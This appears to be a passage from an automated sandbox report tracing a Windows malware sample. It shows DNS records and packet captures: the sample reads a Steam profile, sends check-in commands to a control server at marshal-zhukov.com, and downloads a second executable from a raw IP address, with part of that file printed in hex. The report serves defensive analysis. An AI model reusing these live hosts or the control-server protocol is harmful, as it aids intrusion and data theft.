Nov 28, 2024 13:10:12.201775074 CET	1.1.1.1	192.168.2.4	0x5d65	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:12.201775074 CET	1.1.1.1	192.168.2.4	0x5d65	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:12.320549011 CET	1.1.1.1	192.168.2.4	0x5a7	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:12.320549011 CET	1.1.1.1	192.168.2.4	0x5a7	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:12.320549011 CET	1.1.1.1	192.168.2.4	0x5a7	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:12.320549011 CET	1.1.1.1	192.168.2.4	0x5a7	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:12.479856014 CET	1.1.1.1	192.168.2.4	0x9bff	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:12.479856014 CET	1.1.1.1	192.168.2.4	0x9bff	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:14.993506908 CET	1.1.1.1	192.168.2.4	0xbff6	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:14.993506908 CET	1.1.1.1	192.168.2.4	0xbff6	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:14.993506908 CET	1.1.1.1	192.168.2.4	0xbff6	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:14.993666887 CET	1.1.1.1	192.168.2.4	0x2015	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:15.783963919 CET	1.1.1.1	192.168.2.4	0x762b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:15.783963919 CET	1.1.1.1	192.168.2.4	0x762b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:15.783963919 CET	1.1.1.1	192.168.2.4	0x762b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:15.783963919 CET	1.1.1.1	192.168.2.4	0x762b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:15.784004927 CET	1.1.1.1	192.168.2.4	0x8366	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:15.784004927 CET	1.1.1.1	192.168.2.4	0x8366	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:22.094090939 CET	1.1.1.1	192.168.2.4	0x5cc1	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:22.108139992 CET	1.1.1.1	192.168.2.4	0x4059	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:44.418296099 CET	1.1.1.1	192.168.2.4	0x8555	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:44.431341887 CET	1.1.1.1	192.168.2.4	0x584a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:51.308624983 CET	1.1.1.1	192.168.2.4	0x7230	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:51.308860064 CET	1.1.1.1	192.168.2.4	0x6553	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

marshal-zhukov.com

slscr.update.microsoft.com

otelrules.azureedge.net

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	185.215.113.16	80	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:09:52.914433002 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 28, 2024 13:09:54.245651007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:09:54 GMT Content-Type: application/octet-stream Content-Length: 2778624 Last-Modified: Thu, 28 Nov 2024 11:47:39 GMT Connection: keep-alive ETag: "6748585b-2a6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 32 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +28+`Ui` @ @.rsrc`2@.idata 8@ovmsqngl *:@gzdrleae @@.taggant@"D*@
Nov 28, 2024 13:09:54.245667934 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.246310949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.246396065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.246407032 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.247519016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.247565985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.247577906 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.248703003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.248841047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 13:09:54.365729094 CET	1236	IN	Data Raw: 8f 1d be d3 bb 5f 80 02 a0 bf ea d5 40 ae b2 fe e9 cf 8c ea e4 72 c6 d7 69 b4 65 ef 77 84 f9 a0 7a 41 93 e1 64 a1 a6 bd a3 5b 3d fb 53 b6 a6 f0 e4 4f 77 e5 96 da 81 1c 5e 7f 61 66 98 5d f7 19 ee 48 9a 31 a1 7f 5e 86 38 ac d0 61 98 5d f7 8f ef 54 Data Ascii: _@riewzAd[=SOw^af]H1^8a]Ta{yPfn~I12xM9;Rj\|?bO=Bl@{RvQI3[]Ex5CG%V{w{]&{?LQdQD-m

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	23.55.153.106	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:01 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-11-28 12:09:02 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 28 Nov 2024 12:09:02 GMT Content-Length: 35135 Connection: close Set-Cookie: sessionid=0fd06b56e2b73793097eb574; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C2fd05434f65961ead7347d7fb77ec333; Path=/; Secure; HttpOnly; SameSite=None
2024-11-28 12:09:02 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-11-28 12:09:02 UTC	10097	IN	Data Raw: 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 Data Ascii: community.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">
2024-11-28 12:09:02 UTC	10559	IN	Data Raw: 75 6f 74 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a Data Ascii: uot;WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:05 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: marshal-zhukov.com
2024-11-28 12:09:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-28 12:09:07 UTC	1045	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0fglvboluadlot1h24klcmehh3; expires=Mon, 24-Mar-2025 05:55:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rr4bJX2qdAMk815In42qa%2FPddBT6jOxFFaQUiBg0%2B9Z87%2FcZDeVYeyJzGo3ZGIsn26BAsy9PYxLdOJ%2FgcdmnOwK9N5ZypjuQ7LwoQwXQyIHkuxXNw%2BNxG%2BX357hmP2LpZWgUtRA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a3f48ffeac337-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1588&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1810291&cwnd=203&unsent_bytes=0&cid=dbce89448963a0c3&ts=1376&x=0"
2024-11-28 12:09:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-28 12:09:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: marshal-zhukov.com
2024-11-28 12:09:08 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-28 12:09:10 UTC	1041	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ch8m83q1e8afpc3kjq4rjljbl; expires=Mon, 24-Mar-2025 05:55:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eYyRR6AafhyTnQMgXaOesWyyBbB1hYAaaheFz%2BJPuK%2F%2FuoCWqwbGaNYYxwjM0hjPbW2ZB4J4ml8xQY27sKyeB96ioDToG0sNuJ0SlY2WUutr7wVx0efsO0nf0yxIVsEZJ%2Bnvb5o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a3f5ace258c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1869&min_rtt=1862&rtt_var=712&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2848&recv_bytes=955&delivery_rate=1520833&cwnd=217&unsent_bytes=0&cid=65274f66ce42dc9d&ts=1582&x=0"
2024-11-28 12:09:10 UTC	328	IN	Data Raw: 31 64 39 37 0d 0a 6a 43 2b 34 59 56 73 56 41 36 79 42 70 5a 56 6c 30 56 44 74 33 6c 6b 56 6b 62 72 66 42 57 4f 33 79 6d 39 71 76 36 33 54 6e 79 37 33 44 63 35 44 59 53 45 76 6a 76 4c 41 74 31 2b 6c 49 70 69 37 64 54 66 77 33 76 30 2f 42 64 61 6d 48 41 2b 54 6a 36 58 79 44 4c 5a 4a 32 51 30 6f 63 43 2b 4f 35 4e 32 33 58 34 6f 72 7a 37 73 33 4e 36 75 59 75 6d 38 42 31 71 59 4e 43 39 54 43 6f 2f 4e 4e 35 45 50 66 43 54 35 32 5a 38 33 74 79 50 41 41 74 44 47 48 73 44 42 34 2b 64 66 39 4b 55 48 53 73 45 31 51 6e 65 43 32 36 30 2f 42 54 73 73 4b 65 57 67 76 31 36 50 41 2b 30 66 72 63 6f 79 37 4f 33 6e 33 33 72 52 74 43 39 2b 75 44 41 37 56 33 62 72 35 52 75 52 4e 33 41 67 30 66 33 50 41 35 38 2f 37 42 72 34 78 7a 2f 4a 37 63 4f 75 59 35 53 64 53 35 36 73 63 47 Data Ascii: 1d97jC+4YVsVA6yBpZVl0VDt3lkVkbrfBWO3ym9qv63Tny73Dc5DYSEvjvLAt1+lIpi7dTfw3v0/BdamHA+Tj6XyDLZJ2Q0ocC+O5N23X4orz7s3N6uYum8B1qYNC9TCo/NN5EPfCT52Z83tyPAAtDGHsDB4+df9KUHSsE1QneC260/BTssKeWgv16PA+0frcoy7O3n33rRtC9+uDA7V3br5RuRN3Ag0f3PA58/7Br4xz/J7cOuY5SdS56scG
2024-11-28 12:09:10 UTC	1369	IN	Data Raw: 66 6a 32 37 35 7a 44 4d 54 6f 45 6b 62 45 6a 37 62 78 44 4c 59 4e 33 41 30 34 65 6d 48 63 36 38 7a 38 41 71 45 35 68 72 45 32 64 2f 37 53 73 6d 51 42 30 71 49 48 42 39 66 4c 76 50 42 4b 37 6b 32 61 54 58 6c 77 65 59 36 37 68 39 51 43 6f 7a 57 44 71 6e 6c 4e 73 38 66 7a 66 6b 48 53 70 45 31 51 6e 63 65 30 2f 6b 2f 6c 51 74 6b 4c 4d 6d 56 68 33 4f 58 4b 38 68 57 31 4e 34 47 32 4f 47 58 35 31 72 74 6b 43 4e 36 68 43 41 2f 5a 6a 2f 2b 39 53 2f 59 4e 67 6b 4d 59 65 6d 72 43 36 64 44 33 52 36 78 38 6c 76 77 38 65 37 4f 41 2f 57 4d 41 30 61 6b 4a 42 74 50 4c 76 66 74 43 34 30 4c 63 43 54 6c 77 61 38 62 72 78 76 6f 4d 76 44 4b 4b 73 54 39 78 2f 39 6d 34 4a 30 2b 56 72 78 56 49 68 59 2b 66 2b 6b 2f 38 44 2b 38 41 4e 33 6c 6d 32 4b 50 59 75 52 37 7a 4e 59 50 38 59 Data Ascii: fj275zDMToEkbEj7bxDLYN3A04emHc68z8AqE5hrE2d/7SsmQB0qIHB9fLvPBK7k2aTXlweY67h9QCozWDqnlNs8fzfkHSpE1Qnce0/k/lQtkLMmVh3OXK8hW1N4G2OGX51rtkCN6hCA/Zj/+9S/YNgkMYemrC6dD3R6x8lvw8e7OA/WMA0akJBtPLvftC40LcCTlwa8brxvoMvDKKsT9x/9m4J0+VrxVIhY+f+k/8D+8AN3lm2KPYuR7zNYP8Y
2024-11-28 12:09:10 UTC	1369	IN	Data Raw: 39 4b 55 48 53 73 45 31 51 6e 66 75 32 38 55 48 68 44 2b 38 41 4e 33 6c 6d 32 4b 50 59 75 52 37 7a 4e 59 50 38 59 7a 66 2f 30 62 31 73 43 39 47 6f 43 67 58 59 7a 4c 62 2b 51 65 6c 48 31 41 51 39 65 32 6a 44 35 63 66 77 41 37 59 67 69 72 55 33 65 37 4f 57 2f 57 41 5a 6c 66 42 4e 4a 39 72 5a 73 74 4a 50 2f 30 53 61 48 48 64 75 49 63 6e 76 68 36 39 48 74 44 65 48 74 7a 31 2f 38 38 71 34 61 51 72 55 6f 67 73 4a 30 4d 4f 33 2f 55 33 75 53 39 59 44 50 6e 42 7a 33 4f 62 42 35 51 33 7a 66 4d 2b 37 49 7a 65 72 6d 49 74 33 46 73 53 2b 54 7a 33 65 77 62 2f 36 57 71 35 53 6c 42 70 35 63 47 32 4f 75 34 66 38 42 37 38 31 68 37 6f 2f 66 2f 7a 58 74 48 55 41 32 61 59 66 44 39 33 47 76 2f 4a 41 35 30 44 64 44 6a 4a 39 62 4d 72 6b 78 72 64 4a 38 7a 57 58 2f 47 4d 33 78 63 Data Ascii: 9KUHSsE1Qnfu28UHhD+8AN3lm2KPYuR7zNYP8Yzf/0b1sC9GoCgXYzLb+QelH1AQ9e2jD5cfwA7YgirU3e7OW/WAZlfBNJ9rZstJP/0SaHHduIcnvh69HtDeHtz1/88q4aQrUogsJ0MO3/U3uS9YDPnBz3ObB5Q3zfM+7IzermIt3FsS+Tz3ewb/6Wq5SlBp5cG2Ou4f8B781h7o/f/zXtHUA2aYfD93Gv/JA50DdDjJ9bMrkxrdJ8zWX/GM3xc
2024-11-28 12:09:10 UTC	1369	IN	Data Raw: 33 71 41 4d 42 4e 50 49 74 50 52 45 35 6c 2f 62 42 7a 46 32 62 38 48 69 77 2f 49 43 74 7a 57 4c 75 6a 51 33 76 5a 69 36 66 30 47 4e 36 43 49 76 36 49 32 51 78 77 7a 78 41 38 4e 44 50 6e 73 68 6c 71 50 4c 39 41 75 37 50 59 6d 31 4e 33 33 36 30 37 46 73 42 64 6d 68 43 41 37 63 79 72 54 38 53 4f 4a 48 33 41 41 36 65 47 37 42 36 34 65 35 52 37 51 71 7a 2b 52 37 55 75 54 54 73 32 46 42 79 75 59 55 53 4e 72 44 38 61 55 4d 34 6b 54 63 42 54 78 37 59 4d 6a 72 77 76 38 44 73 6a 53 4a 76 7a 52 7a 39 74 6d 79 59 77 33 62 6f 67 77 4a 30 63 53 2b 39 6b 6d 75 41 35 6f 45 49 54 63 35 6a 74 4c 45 34 52 43 6a 50 73 2b 6a 64 57 36 7a 33 37 45 6e 57 5a 57 70 48 77 4c 58 77 62 54 79 53 65 31 43 33 51 34 2f 65 32 76 48 36 38 48 34 44 71 45 78 67 37 49 38 65 66 2f 57 73 47 30 Data Ascii: 